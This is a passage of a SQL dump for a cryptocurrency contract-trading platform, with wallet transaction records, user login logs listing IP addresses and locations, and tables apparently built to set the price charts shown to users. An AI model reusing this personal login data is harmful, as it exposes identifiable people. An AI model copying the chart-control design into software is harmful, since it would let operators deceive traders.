'R1229102630996', 9, 'usdt', NULL, 11.200000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1127, 11.200000, '', '2024-01-19 12:20:39', NULL, NULL, '秒合约结算+', 315, NULL, 5440.000000, 5451.200000, 'R0119040720814', 9, 'usdt', NULL, 11.200000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1128, 11.200000, '', '2024-01-19 12:20:39', NULL, NULL, '秒合约结算+', 309, NULL, 381.200000, 392.400000, 'R0119041378875', 9, 'usdt', NULL, 11.200000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1129, 11.200000, '', '2024-01-19 12:20:39', NULL, NULL, '秒合约结算+', 309, NULL, 392.400000, 403.600000, 'R0119041432296', 9, 'usdt', NULL, 11.200000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1130, 22.400000, '', '2024-01-19 12:20:39', NULL, NULL, '秒合约结算+', 320, NULL, 980.000000, 1002.400000, 'R0119041986880', 9, 'usdt', NULL, 22.400000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1131, 10.000000, '123456', '2024-01-19 12:21:32', NULL, NULL, '秒合约下注-', 315, NULL, 5451.200000, 5441.200000, 'R0119042149621', 5, 'usdt', NULL, 10.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1132, 10.000000, '1234567', '2024-01-19 12:21:32', NULL, NULL, '秒合约下注-', 320, NULL, 1002.400000, 992.400000, 'R0119042127854', 5, 'usdt', NULL, 10.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1133, 11.200000, '', '2024-01-19 12:22:32', NULL, NULL, '秒合约结算+', 315, NULL, 5441.200000, 5452.400000, 'R0119042149621', 9, 'usdt', NULL, 11.200000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1134, 11.200000, '', '2024-01-19 12:22:32', NULL, NULL, '秒合约结算+', 320, NULL, 992.400000, 1003.600000, 'R0119042127854', 9, 'usdt', NULL, 11.200000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1135, 10.000000, '123456', '2024-01-19 12:23:02', NULL, NULL, '秒合约下注-', 315, NULL, 5452.400000, 5442.400000, 'R0119042345063', 5, 'usdt', NULL, 10.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1136, 10.000000, 'test01', '2024-01-19 15:08:19', NULL, NULL, '秒合约下注-', 309, NULL, 403.600000, 393.600000, 'R0119070836062', 5, 'usdt', NULL, 10.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1137, 10.000000, '1234567', '2024-01-19 19:10:20', NULL, NULL, '秒合约下注-', 320, NULL, 1003.600000, 993.600000, 'R0119111043919', 5, 'usdt', NULL, 10.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1138, 10.000000, '', '2024-01-19 19:10:49', NULL, NULL, '秒合约结算+', 320, NULL, 993.600000, 1003.600000, 'R0119111043919', 9, 'usdt', NULL, 10.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1139, 100.000000, 'test01', '2024-02-08 18:51:25', NULL, NULL, 'USDT-TRC提现', 309, NULL, 393.600000, 293.600000, 'P0208105124236', 2, 'usdt', NULL, 100.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1140, 100.000000, 'admin', '2024-02-08 18:59:13', NULL, NULL, 'USDT-ERC提现', 309, NULL, 293.600000, 393.600000, 'P0208105124236', 8, 'usdt', NULL, 100.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1141, 100.000000, 'test01', '2024-02-08 18:59:47', NULL, NULL, 'USDT-TRC提现', 309, NULL, 393.600000, 293.600000, 'P0208105911782', 2, 'usdt', NULL, 100.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1142, 100000.000000, 'admin', '2024-02-11 16:14:18', NULL, NULL, '人工上分+', 324, NULL, 0.000000, 100000.000000, 'C0211081490622', 51, 'usdt', NULL, 100000.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1143, 10.000000, 'test01', '2024-02-11 16:15:55', NULL, NULL, '秒合约下注-', 309, NULL, 293.600000, 283.600000, 'R021108153163', 5, 'usdt', NULL, 10.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1144, 10.000000, 'test01', '2024-02-11 16:16:10', NULL, NULL, '秒合约下注-', 309, NULL, 283.600000, 273.600000, 'R0211081641474', 5, 'usdt', NULL, 10.000000, NULL); + +-- ---------------------------- +-- Table structure for t_appuser_login_log +-- ---------------------------- +DROP TABLE IF EXISTS `t_appuser_login_log`; +CREATE TABLE `t_appuser_login_log` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '主键ID', + `user_id` bigint(0) NOT NULL COMMENT '登录用户ID', + `username` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '登录用户名', + `ipaddr` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '访问IP', + `login_location` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '访问位置', + `browser` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '浏览器', + `os` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '系统OS', + `status` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT '0' COMMENT '登录状态(0成功 1失败)', + `msg` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `login_time` datetime(0) NULL DEFAULT NULL COMMENT '访问时间', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_username`(`username`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1679060039274389987 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_bin COMMENT = '系统访问记录' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_appuser_login_log +-- ---------------------------- +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389925, 309, '', '156.251.226.70', '中国|0|香港|0|0', 'Chrome 11', 'Windows 10', '0', '用户登录', '2023-11-19 00:48:57'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389926, 309, '', '172.104.189.39', '新加坡|0|0|0|0', 'Chrome 11', 'Windows 10', '0', '用户登录', '2023-11-20 01:56:24'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389927, 309, '', '183.46.216.116', '中国|0|广东|汕头|电信', 'Chrome 11', 'Windows 10', '0', '用户登录', '2023-11-20 02:45:32'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389928, 309, '', '8.217.118.202', '中国|0|0|0|阿里巴巴', 'Chrome 11', 'Windows 10', '0', '用户登录', '2023-11-20 03:00:26'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389929, 309, '', '8.217.118.202', '中国|0|0|0|阿里巴巴', 'Chrome 11', 'Windows 10', '0', '用户登录', '2023-11-20 03:00:26'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389930, 309, '', '103.148.104.100', '孟加拉|0|0|0|0', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2023-11-23 17:02:55'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389931, 309, '', '103.148.104.100', '孟加拉|0|0|0|0', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2023-11-23 17:06:43'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389932, 309, '', '8.218.227.17', '中国|0|0|0|阿里巴巴', 'Chrome 11', 'Windows 10', '0', '退出登录成功', '2023-11-23 17:07:51'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389933, 315, '', '8.218.227.17', '中国|0|0|0|阿里巴巴', 'Chrome 11', 'Windows 10', '0', '用户登录', '2023-11-23 17:07:58'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389934, 309, '', '223.119.162.35', '中国|0|香港|0|移动', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2023-11-23 20:43:06'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389935, 309, '', '223.119.162.35', '中国|0|香港|0|移动', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2023-11-23 20:47:22'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389936, 309, '', '223.119.162.35', '中国|0|香港|0|移动', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2023-11-23 20:53:16'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389937, 309, '', '223.19.231.206', '中国|0|香港|0|和记电讯', 'Chrome 11', 'Windows 10', '0', '用户登录', '2023-11-23 21:27:31'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389938, 309, '', '223.19.231.206', '中国|0|香港|0|和记电讯', 'Chrome 11', 'Windows 10', '0', '用户登录', '2023-11-23 22:11:40'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389939, 309, '', '146.190.48.186', '美国|0|俄勒冈|0|0', 'Chrome 11', 'Windows 10', '0', '退出登录成功', '2023-12-07 04:22:38'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389940, 309, '', '146.190.48.186', '美国|0|俄勒冈|0|0', 'Chrome 11', 'Windows 10', '0', '用户登录', '2023-12-07 17:16:41'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389941, 309, '', '8.218.51.204', '中国|0|0|0|阿里巴巴', 'Chrome Mobile', 'Android 1.x', '0', '用户登录', '2023-12-07 20:40:55'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389942, 309, '', '45.255.126.81', '中国|0|香港|0|Telenor', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2023-12-07 20:41:32'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389943, 309, '', '115.164.45.127', '马来西亚|0|吉隆坡|0|DiGi-Telecommunication', 'Chrome Mobile', 'Mac OS X (iPhone)', '0', '用户登录', '2023-12-07 20:55:18'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389944, 309, '', '115.164.40.40', '马来西亚|0|吉隆坡|0|DiGi-Telecommunication', 'Chrome Mobile', 'Mac OS X (iPhone)', '0', '退出登录成功', '2023-12-07 21:57:07'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389945, 309, '', '115.164.49.203', '马来西亚|0|吉隆坡|0|DiGi-Telecommunication', 'Chrome Mobile', 'Mac OS X (iPhone)', '0', '用户登录', '2023-12-07 22:37:04'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389946, 309, '', '115.164.40.122', '马来西亚|0|吉隆坡|0|DiGi-Telecommunication', 'Chrome Mobile', 'Mac OS X (iPhone)', '0', '退出登录成功', '2023-12-08 01:37:02'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389947, 309, '', '115.164.48.29', '马来西亚|0|吉隆坡|0|DiGi-Telecommunication', 'Chrome Mobile', 'Mac OS X (iPhone)', '0', '用户登录', '2023-12-08 01:54:01'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389948, 309, '', '115.164.40.79', '马来西亚|0|吉隆坡|0|DiGi-Telecommunication', 'Chrome Mobile', 'Mac OS X (iPhone)', '0', '退出登录成功', '2023-12-08 02:20:32'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389949, 317, '0x10879c7c320fe391f400369b8d74c0b34a201cf6', '115.164.48.196', '马来西亚|0|吉隆坡|0|DiGi-Telecommunication', 'Chrome Mobile', 'Mac OS X (iPhone)', '0', '用户登录', '2023-12-08 02:23:48'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389950, 309, '', '115.164.40.99', '马来西亚|0|吉隆坡|0|DiGi-Telecommunication', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2023-12-08 02:32:36'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389951, 309, '', '115.164.48.13', '马来西亚|0|吉隆坡|0|DiGi-Telecommunication', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '退出登录成功', '2023-12-08 02:33:53'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389952, 315, '', '115.164.48.13', '马来西亚|0|吉隆坡|0|DiGi-Telecommunication', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2023-12-08 02:34:14'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389953, 309, '', '168.138.219.93', '巴西|0|0|0|0', 'Chrome 11', 'Windows 10', '0', '用户登录', '2023-12-08 03:00:00'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389954, 309, '', '168.138.219.93', '巴西|0|0|0|0', 'Chrome 11', 'Windows 10', '0', '退出登录成功', '2023-12-08 03:03:31'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389955, 309, '', '168.138.219.93', '巴西|0|0|0|0', 'Chrome 11', 'Windows 10', '0', '用户登录', '2023-12-08 03:03:47'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389956, 309, '', '223.19.177.3', '中国|0|香港|0|和记电讯', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2023-12-22 17:05:43'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389957, 309, '', '103.116.44.181', '中国|0|香港|0|0', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2023-12-25 22:14:11'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389958, 309, '', '121.123.35.37', '马来西亚|0|吉隆坡|0|MAXIS', 'Chrome Mobile', 'Mac OS X (iPhone)', '0', '用户登录', '2023-12-25 22:27:01'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389959, 309, '', '185.220.239.2', '俄罗斯|0|0|0|0', 'Firefox 12', 'Windows 10', '0', '用户登录', '2023-12-29 18:25:42'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389960, 319, '', '114.86.122.46', '中国|0|上海|上海|电信', 'Chrome 11', 'Windows 10', '0', '用户登录', '2024-01-15 23:53:19'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389961, 315, '', '57.181.21.252', '比利时|0|0|0|0', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2024-01-19 12:05:53'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389962, 309, '', '47.242.19.206', '中国|0|香港|0|阿里云', 'Chrome 12', 'Windows 10', '0', '用户登录', '2024-01-19 12:13:25'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389963, 309, '', '8.218.149.22', '中国|0|0|0|阿里巴巴', 'Chrome 12', 'Windows 10', '0', '退出登录成功', '2024-01-19 12:18:42'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389964, 320, '', '47.242.19.206', '中国|0|香港|0|阿里云', 'Chrome 12', 'Windows 10', '0', '用户登录', '2024-01-19 12:18:56'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389965, 309, '', '182.239.115.111', '中国|0|香港|0|移动', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2024-01-19 15:07:48'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389966, 321, '', '183.182.111.77', '老挝|0|0|0|Unitel', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2024-01-19 18:52:41'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389967, 315, '', '47.243.47.157', '中国|0|香港|0|阿里云', 'Chrome Mobile', 'Android 1.x', '0', '用户登录', '2024-01-20 22:58:39'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389968, 309, '', '117.18.231.3', '缅甸|0|Yangon|0|缅甸电信', 'Chrome Mobile', 'Android 1.x', '0', '用户登录', '2024-01-20 23:18:03'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389969, 309, '', '182.239.115.111', '中国|0|香港|0|移动', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2024-01-23 18:42:16'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389970, 309, '', '206.119.117.137', '美国|0|华盛顿特区|华盛顿特区|科进', 'Chrome Mobile', 'Android 6.x', '0', '用户登录', '2024-01-23 18:49:04'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389971, 309, '', '154.31.113.10', '美国|0|纽约|纽约|科进', 'Chrome 12', 'Windows 10', '0', '用户登录', '2024-01-25 23:44:05'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389972, 309, '', '183.182.110.223', '老挝|0|0|0|Unitel', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2024-01-29 20:05:41'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389973, 309, '', '172.104.190.252', '新加坡|0|0|0|0', 'Chrome 12', 'Windows 10', '0', '用户登录', '2024-02-08 23:03:05'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389974, 309, '', '104.245.100.188', '美国|0|加利福尼亚|0|0', 'Chrome 12', 'Windows 10', '0', '用户登录', '2024-02-11 15:19:59'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389975, 309, '', '104.245.100.188', '美国|0|加利福尼亚|0|0', 'Chrome 12', 'Windows 10', '0', '用户登录', '2024-02-11 15:20:30'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389976, 309, '', '203.91.85.222', '澳大利亚|0|0|0|0', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2024-02-12 02:02:46'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389977, 336, '', '192.168.1.11', '0|0|0|内网IP|内网IP', 'Chrome 12', 'Windows 10', '0', '用户登录', '2024-02-14 23:16:21'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389978, 336, '', '127.0.0.1', '0|0|0|内网IP|内网IP', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2024-02-15 22:19:01'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389979, 336, '', '127.0.0.1', '0|0|0|内网IP|内网IP', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '退出登录成功', '2024-02-16 18:42:36'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389980, 336, '', '127.0.0.1', '0|0|0|内网IP|内网IP', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2024-02-16 18:43:10'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389981, 336, '', '127.0.0.1', '0|0|0|内网IP|内网IP', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '退出登录成功', '2024-02-16 22:52:23'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389982, 336, '', '127.0.0.1', '0|0|0|内网IP|内网IP', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2024-02-16 22:52:51'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389983, 336, '', '127.0.0.1', '0|0|0|内网IP|内网IP', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2024-02-16 23:17:32'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389984, 336, '', '127.0.0.1', '0|0|0|内网IP|内网IP', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '用户登录', '2024-02-17 19:09:21'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389985, 336, '', '127.0.0.1', '0|0|0|内网IP|内网IP', 'Chrome 12', 'Windows 10', '0', '用户登录', '2024-02-18 01:36:12'); +INSERT INTO `t_appuser_login_log` VALUES (1679060039274389986, 336, '', '127.0.0.1', '0|0|0|内网IP|内网IP', 'Chrome 12', 'Windows 10', '0', '用户登录', '2024-02-18 01:36:52'); + +-- ---------------------------- +-- Table structure for t_bot_kline_model +-- ---------------------------- +DROP TABLE IF EXISTS `t_bot_kline_model`; +CREATE TABLE `t_bot_kline_model` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT 'id', + `decline` int(0) NULL DEFAULT NULL COMMENT '最大跌幅', + `granularity` int(0) NULL DEFAULT NULL COMMENT '控制粒度', + `increase` int(0) NULL DEFAULT NULL COMMENT '最大涨幅', + `model` int(0) NULL DEFAULT NULL COMMENT '控盘策略', + `price_pencent` int(0) NULL DEFAULT NULL COMMENT '浮动比例', + `symbol` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '交易对', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '创建人', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '修改人', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '值', + `begin_time` datetime(0) NULL DEFAULT NULL COMMENT '开始时间', + `end_time` datetime(0) NULL DEFAULT NULL COMMENT '结束时间', + `line_chart_data` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `con_price` decimal(30, 6) NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 55 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '控线配置表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_bot_kline_model_info +-- ---------------------------- +DROP TABLE IF EXISTS `t_bot_kline_model_info`; +CREATE TABLE `t_bot_kline_model_info` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT 'id', + `model_id` bigint(0) NULL DEFAULT NULL COMMENT 't_bot_kline_model 的主键', + `date_time` bigint(0) NULL DEFAULT NULL COMMENT '时间戳', + `open` decimal(20, 16) NULL DEFAULT NULL COMMENT '开盘价', + `close` decimal(20, 16) NULL DEFAULT NULL COMMENT '封盘价', + `high` decimal(20, 16) NULL DEFAULT NULL COMMENT '最高价', + `low` decimal(20, 16) NULL DEFAULT NULL COMMENT '最低价', + `x` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT 'x轴', + `y` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT 'y轴', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '控线详情表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_collection_order +-- ---------------------------- +DROP TABLE IF EXISTS `t_collection_order`; +CREATE TABLE `t_collection_order` ( + `id` int(0) NOT NULL COMMENT '主键ID', + `order_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '订单号', + `user_id` bigint(0) NULL DEFAULT NULL COMMENT '用户ID', + `address` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '归集地址', + `chain` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '地址类型', + `hash` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT 'hash', + `coin` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种', + `amount` decimal(20, 6) NULL DEFAULT NULL COMMENT '归集金额', + `status` varchar(2) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '1 进行中 2 归集成功 3 归集失败', + `client_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '客户端名称', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `create_by` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '创建人', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '修改时间', + `update_by` datetime(0) NULL DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP(0) COMMENT '修改人', + `remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + `search_value` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_contract_coin +-- ---------------------------- +DROP TABLE IF EXISTS `t_contract_coin`; +CREATE TABLE `t_contract_coin` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT, + `symbol` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '交易对', + `coin` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '币种', + `base_coin` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '基础币种', + `share_number` decimal(20, 8) NULL DEFAULT NULL COMMENT '合约面值(1手多少 如 1手=0.01BTC)', + `leverage` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '杠杆倍数', + `enable` int(0) NOT NULL DEFAULT 0 COMMENT '0 启用 1 禁止', + `visible` int(0) NOT NULL DEFAULT 0 COMMENT '前端显示0启用 1 禁止', + `exchangeable` int(0) NOT NULL DEFAULT 0 COMMENT '是否可交易(0 可以 1 禁止)', + `enable_open_sell` int(0) NOT NULL DEFAULT 0 COMMENT '开空 (0 是 1 否)', + `enable_open_buy` int(0) NOT NULL DEFAULT 0 COMMENT '开多 (0 是 1 否)', + `enable_market_sell` int(0) NOT NULL DEFAULT 0 COMMENT '市价开空(0 是 1否)', + `enable_market_buy` int(0) NOT NULL DEFAULT 0 COMMENT '市价开多(0 是 1否)', + `open_fee` decimal(20, 8) NOT NULL COMMENT '开仓手续费', + `close_fee` decimal(20, 8) NOT NULL COMMENT '平仓手续费', + `usdt_rate` decimal(20, 8) NOT NULL DEFAULT 0.00000000 COMMENT '资金费率', + `interval_hour` decimal(20, 2) NOT NULL COMMENT '资金周期', + `coin_scale` decimal(10, 2) NULL DEFAULT NULL COMMENT '币种小数精度', + `base_scale` decimal(10, 2) NULL DEFAULT NULL COMMENT '基础币小数精度', + `min_share` decimal(10, 2) NULL DEFAULT NULL COMMENT '最小数(以手为单位 )', + `max_share` decimal(10, 2) NULL DEFAULT NULL COMMENT '最大数(以手为单位 )', + `total_profit` decimal(20, 8) NULL DEFAULT NULL COMMENT '平台收益', + `sort` int(0) NULL DEFAULT NULL COMMENT '排序字段', + `create_time` datetime(0) NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL, + `show_symbol` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '显示币种', + `logo` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, + `market` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, + `delivery_days` int(0) NULL DEFAULT 0 COMMENT '交割时间', + `min_margin` decimal(20, 4) NULL DEFAULT 0.0000 COMMENT '最小保证金', + `loss_rate` decimal(20, 4) NULL DEFAULT 0.0000 COMMENT '止损率', + `earn_rate` decimal(20, 4) NULL DEFAULT 0.0000 COMMENT '止盈率', + `float_profit` decimal(20, 6) NULL DEFAULT 0.000000 COMMENT '浮动盈利点', + `profit_loss` decimal(20, 6) NULL DEFAULT NULL COMMENT '浮动盈亏', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 15 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_contract_coin +-- ---------------------------- +INSERT INTO `t_contract_coin` VALUES (4, 'btcusdt', 'btc', 'USDT', 0.00010000, '5,10,20,50,100', 0, 0, 0, 0, 0, 0, 0, 0.00100000, 0.00100000, 0.00010000, 8.00, 4.00, 4.00, 1.00, 1000000.00, NULL, 1, '2023-08-09 10:16:08', '2023-12-08 01:34:22', 'BTC/USDT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin.png', 'binance', 0, 0.0000, 0.0000, 0.0000, 0.000000, NULL); +INSERT INTO `t_contract_coin` VALUES (5, 'ethusdt', 'eth', 'usdt', 0.00100000, '5,10,20', 0, 0, 0, 0, 0, 0, 0, 0.00100000, 0.00100000, 0.00010000, 8.00, 4.00, 4.00, 1.00, 1000000.00, NULL, 2, '2023-08-10 10:57:00', '2023-08-10 17:35:51', 'ETH/USDT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum.png', 'binance', 0, 0.0000, 0.0000, 0.0000, 0.000000, NULL); +INSERT INTO `t_contract_coin` VALUES (6, 'trxusdt', 'trx', 'usdt', 1.00000000, '5,10,20,50', 0, 0, 0, 0, 0, 0, 0, 0.00100000, 0.00100000, 0.00100000, 8.00, 4.00, 4.00, 1.00, 10000.00, NULL, 3, '2023-08-10 13:37:00', NULL, 'TRX/USDT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tron.png', 'binance', 0, 0.0000, 0.0000, 0.0000, 0.000000, 